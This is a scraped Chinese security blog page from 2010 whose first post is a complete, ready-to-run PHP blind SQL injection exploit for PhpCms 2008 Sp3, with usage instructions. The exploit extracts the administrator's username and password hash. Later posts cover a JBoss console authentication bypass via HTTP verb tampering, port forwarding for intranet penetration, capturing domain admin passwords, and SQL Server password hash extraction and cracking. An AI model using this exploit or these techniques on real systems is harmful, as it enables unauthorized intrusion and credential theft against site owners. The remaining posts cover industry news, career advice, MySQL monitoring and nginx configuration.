PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)

2010年5月8日 Chinadu 没有评论 21 views

<?php

ini_set("max_execution_time",0);

error_reporting(7);

function usage()

{

global $argv;

exit(

"\n--+++============================================================+++--".

"\n--+++====== PhpCms 2008 Sp3 Blind SQL Injection Exploit========+++--".

"\n--+++============================================================+++--".

"\n\n[+] Author: My5t3ry".

"\n[+] Team: [url]http://www.t00ls.net[/url]".

"\n[+] Usage: php ".$argv[0]." <hostname> <path>".

"\n[+] Ex.: php ".$argv[0]." localhost /yp".

"\n\n");

}

function query($pos, $chr, $chs)

{

global $prefix;

switch ($chs){

case 0:

$query = "#";

break;

case 1:

$query = " ascii(substring((select username from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}#";

break;

case 2:

$query = " ascii(substring((select password from ".$prefix."member where groupid=1 limit 0,1),{$pos},1))={$chr}#";

break;

case 3:

$query = " length((select username from ".$prefix."member where groupid=1 limit 0,1))={$pos}#";

break;

}

$query = str_replace(" ", "/**/", $query);

$query = urlencode($query);

return $query;

}

function exploit($hostname, $path, $pos, $chr, $chs)

{

$chr = ord($chr);

$conn = fsockopen($hostname, 80);

//print_r($conn);

/*if (!$conn){

exit("\r\n[-] No response from $conn");

}*/

$postdata = "q=&action=searchlist&where=".query($pos, $chr, $chs);

$message = "POST ".$path."/product.php HTTP/1.1\r\n";

$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";

$message .= "Accept-Language: zh-cn\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "Accept-Encoding: gzip, deflate\r\n";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";

$message .= "Host: $hostname\r\n";

$message .= "Content-Length: ".strlen($postdata)."\r\n";

$message .= "Connection: Close\r\n\r\n";

$message .= $postdata;

//echo $message;

fputs($conn, $message);

while (!feof($conn))

$reply .= fgets($conn, 1024);

fclose($conn);

return $reply;

}

function crkusername($hostname, $path, $chs)

{

global $length;

$key = "abcdefghijklmnopqrstuvwxyz0123456789";

$chr = 0;

$pos = 1;

echo "[+] username: ";

while ($pos <= $length)

{

$response = exploit($hostname, $path, $pos, $key[$chr], $chs);

preg_match ("/<span class=\"time\">(.+)<\/span><\/strong>/i", $response, $match);

if (strlen(trim($match[1])) != 0)

{

echo $key[$chr];

$chr = 0;

$pos++;

}

else

$chr++;

}

echo "\n";

}

function crkpassword($hostname, $path, $chs)

{

$key = "abcdef0123456789";

$chr = 0;

$pos = 1;

echo "[+] password: ";

while ($pos <= 32)

{

$response = exploit($hostname, $path, $pos, $key[$chr], $chs);

preg_match ("/<span class=\"time\">(.+)<\/span><\/strong>/i", $response, $match);

if (strlen(trim($match[1])) != 0)

{

echo $key[$chr];

$chr = 0;

$pos++;

}

else

$chr++;

}

echo "\n\n";

}

function lengthcolumns($hostname, $path, $chs)

{

echo "[+] username length: ";

$exit = 0;

$length = 0;

$pos = 1;

$chr = 0;

while ($exit==0)

{

$response = exploit($hostname, $path, $pos, $chr, $chs);

preg_match ("/<span class=\"time\">(.+)<\/span><\/strong>/i", $response, $match);

if (strlen(trim($match[1])) != 0)

{

$exit = 1;

$length = $pos;

}

else

$pos++;

}

echo $length."\n";

return $length;

}

function getprefix($hostname, $path, $chs)

{

echo "[+] prefix: ";

$pos = 0;

$chr = 0;

$response = exploit($hostname, $path, $pos, $chr, $chs);

preg_match('/FROM `(.+)yp_product/ie',$response,$match);

if ($match[1])

return $match[1];

else

return false;

}

if ($argc != 3)

usage();

$prefix="";

$hostname = $argv[1];

$path = $argv[2];

$prefix = getprefix($hostname, $path, 0);

if ($prefix)

{

echo $prefix."\r\n";

$length = lengthcolumns($hostname, $path, 3);

crkusername($hostname, $path, 1);

crkpassword($hostname, $path, 2);

}

else

{

exit("\r\n[-] Exploit failed");

}

?>

JBoss企业应用平台JMX控制台安全绕过漏洞

2010年5月8日 Chinadu 没有评论 140 views

漏洞起因
设计错误
危险等级

影响系统
JBoss Application Server (AS) 4.0.x
JBoss Communications Platform 1.2
JBoss Enterprise Application Platform (EAP) 4.2, 4.3, 5.0
JBoss Enterprise Portal Platform (EPP) 4.3
JBoss Enterprise Web Platform (EWP) 5.0
JBoss SOA-Platform (SOA-P) 4.2, 4.3, 5.0

不受影响系统

危害
远程攻击者可以利用漏洞绕过验证访问控制接口。

攻击所需条件
攻击者必须访问JBoss Enterprise Application Platform应用。

漏洞信息
JBoss Enterprise Application Platform是一款企业级应用程序平台,用于基于JBoss的应用开发。
JBoss Enterprise Application Platform WEB控制台(/web-console)缺少正确限制,攻击者提交没有指定GET或POST的HTTP请求绕过验证,访问系统。
JBOSS在配置HTTP verbs时,访问控制的实现存在安全问题,导致如HEAD,PUT或DELETE等未在配置文件中允许的verb能够直接以jbossadmin身份调用GET处理器, 从而绕过认证。
阅读全文...

分类: 技术文章 标签: ,

DNS根服务器升级 网络有瘫痪危险

2010年5月6日 Chinadu 没有评论 33 views

5月5日,由ICANN,美国政府和Verisign领导的全球13台根域名服务器将会迎来DNSSEC(Domain Name System Security Extensions,域名系统安全扩展)升级,DNSSEC升级将会在反馈给互联网用户的DNS请求响应中插入数字签名,确保返回的域名地址是未经篡改的。

DNSSEC是为阻止中间人攻击而设计的,利用中间人攻击,黑客可以劫持DNS请求,并返回一个假地址给请求方,这种攻击手段类似于正常的DNS重定向,人们在不知不觉中被转到另一个URL。(实际上域名劫持技术和DNS缓存投毒攻击相当广泛,这也是互联网最大的漏洞——DNS缓存漏洞造成的,DNSSEC可以解决这类问题,今年年初,百度事件就是因为DNS服务器被攻击造成的。)

据Melbourne IT首席战略官,ICANN董事Bruce Tonkin说,本次升级将会给那些毫无准备的网络管理员一个措手不及,响应标准DNS请求往往只有一个单一的数据包(UDP协议),大小一般不会超过521字节,在某些较旧的网络设备中,比这个大的请求将会被出厂默认配置阻止掉,它会认为超过这个大小的数据包是异常的。
阅读全文...

分类: 业界资讯 标签:

搞内网的一个小技巧

2010年5月5日 Chinadu 3 条评论 416 views

来源:Chinadu`s Blog

XP搞内网的时候,LCX.exe转发出来到本机的端口,在mstsc里面连127.0.0.1是联不上去的,因为XP是单用户。


阅读全文...

如何利用有效的信息安全职业关系网

2010年5月3日 Chinadu 没有评论 39 views

把合适的人员吸引到自己的信息安全职业关系网中并不是一件容易的事情,你需要付出很多努力,而且需要另辟蹊径。

你越是努力地为你的关系网选择合适的成员,你的关系网就能越有效地帮助你实现自己的最终目标,即实现你的信息安全职业目标。比如,吸引一个从事相同 信息安全工作的同事要比寻找一个能够促进你职业发展的CIO或者CISO容易得多。而在这篇文章中,我们将提供一些关于接近这几种人的方法。

去那些可以让自己显得独特的地方

作为一个群体,信息安全职业人员大都倾向于跟他们的同行进行沟通。这样做虽然很容易,但效果却并不好。虽然可以跟那些具有类似职位以及面临类似挑战 的同行们愉快地交流“战争故事(war stories)”,但他们并不会给你的职业关系网增加多少独到的见解。

在一开始的时候,你可以寻找那些你能够提供特殊知识的群体、组织或者社会环境,并且那里的人们也对你的独特视角感兴趣。这些听众通常有很多是高层人 士,他们急切的想了解信息安全知识。比如,如果你是一个侧重于卫生医疗方面的信息安全职业人员,那么你应该加入一个由医院管理人员、医院CFO和CIO构 成的组织。通过与这些人分享你的观点,你能够跟那些欣赏你的观点并且需要你帮助的人发展可信赖关系。如果他们需要你的知识,那么你就可以要求他们以自己的 专业知识作为回报。

非专业群体也可以提供帮助。这些群体包括慈善机构、宗教团体或者特殊利益团体等。这些外部群体里有许多处于不同的生活阶段和事业阶段的人,在很多情 况下你会发现这些人中会有人给你的职业关系网提供独特的价值,并且愿意帮助你事业的发展。
阅读全文...

分类: 业界资讯 标签:

安全研究人员分类

2010年4月30日 Chinadu 没有评论 63 views

安全研究人员大致可以分为两类: blackhat类型 & whitehat类型。

我想大多数的whitehat都是就职于甲方公司的,当然也有一些人白天假装是whitehat, 到了晚上摇身一变去干坏事了。由于我是在甲方工作,比较了解whitehat们整天都在干些啥, 安全加固, 制定策略, 代码review, 开发安全防护工具等等一切对保护公司安全有价值的事情。

blackhat呢? 一部分在乙方工作, 一部分是无业游民, 但往往这些人都很有钱。 个人对blackhat所作的事情很感兴趣, 因为他可以无限制的去研究某种攻击技术, 无论花多少时间和精力,这是没有人会限制住他的。 当然他们不会轻易把自己的研究成果公布出来, 因为他们是靠那个吃饭的。 最多是在公众场合显摆下自己挖的0day, 顺便再在blog上yy几句, 我认识的一些blackhat大多行为低调, 你永远都不会知道他们的潜力究竟有多大。

whitehat呢? 在甲方工作是没有那么多时间做研究的, 这个挤挤才能有。 在甲方你不能随便去搞一个研究, 跟保护公司安全无关的研究是不被接受的, 也就是说你花时间去研究了, 必须得有研究成果出来, 而且这个研究成果要对公司安全有价值才行,否则就是你的价值观有问题了, 价值观有问题的人KPI是不会及格的。
阅读全文...

分类: 心情随笔 标签:

MySQL监控快速指南

2010年4月30日 Chinadu 没有评论 25 views

Mysql作为广泛应用的数据库系统,平时运维工作中对她的监控必不可少,现在把我对Mysql数据库的监控体会写成下文,欢迎拍砖。
无论是DBA或是SA,监控的目标都很明确,无外乎

1.快速的得到Mysql过去一段时间或者当前运行的状态
2.因硬件升级或者系统配置的改变而诊断对Mysql数据库性能影响
3.在Mysql数据库系统出现故障要能够及时收到告警
4.为日后编写运维报告提供各项数据指标供分析
5.……

想到了再做补充。而所有以上这些目的,通过各种方法和手段都可以做到。

自从Mysql数据库系统启动并且提供服务,Mysql内部自身的一套“计数器”就开始工作,可以通过
Show Global Status , Show global variables ,Show full processlist
得到Mysql数据库系统当前各种系统变量和状态 ,并且后文介绍个各种监控工具几乎都是对这三个指令的输出
进行数据的计算和统计分析。
阅读全文...

分类: 技术文章 标签:

nginx 目录自动加斜线

2010年4月30日 Chinadu 没有评论 33 views

最佳方法在nginx.conf加入

http{
...
server_name_in_redirect off;
...
}

国内搜索到两种方法
第一种方法 用rewrite补上/

if (-d $request_filename){ rewrite ^/(.*)([^/])$ /$1$2/ permanent; }

阅读全文...

分类: 技术文章 标签:

域环境下的渗透

2010年4月29日 Chinadu 没有评论 122 views

在进行内网渗透,尤其是在比较大型的网络环境下,很可能会遇到域这样一种特殊的网络环境,而在域环境下的内网渗透又将是另外一片天地。
首先还是先简要看一下域的概念吧:
(Domain) 是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。
域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策略,以及它与其他域的安全信任关系。

通过上述的了解,我们可以知道域管理员的权限是相当大的,域管理员可以通过持有域的登陆票据从而实现对域内各个计算机的远程管理,即有权限登陆任何一台机器。那么在渗透的过程中我们就可以通过某种方式记录下管理员登陆的密码,当然了,这只是其中的一种思路。
阅读全文...

分类: 乱七八糟 标签: ,

Database Password Hashes Cracking

2010年4月27日 Chinadu 没有评论 49 views

SQL Server 2000:-
SELECT password from master.dbo.sysxlogins where name='sa'
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A

0×0100- constant header
34767D5C- salt
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
crack the upper case hash in 'cain and abel' and then work the case sentive hash

SQL server 2005:-
SELECT password_hash FROM sys.sql_logins where name='sa'
0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F
0×0100- constant header
993BF231-salt
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
crack case sensitive hash in cain, try brute force and dictionary based attacks.
阅读全文...

分类: 技术文章 标签: ,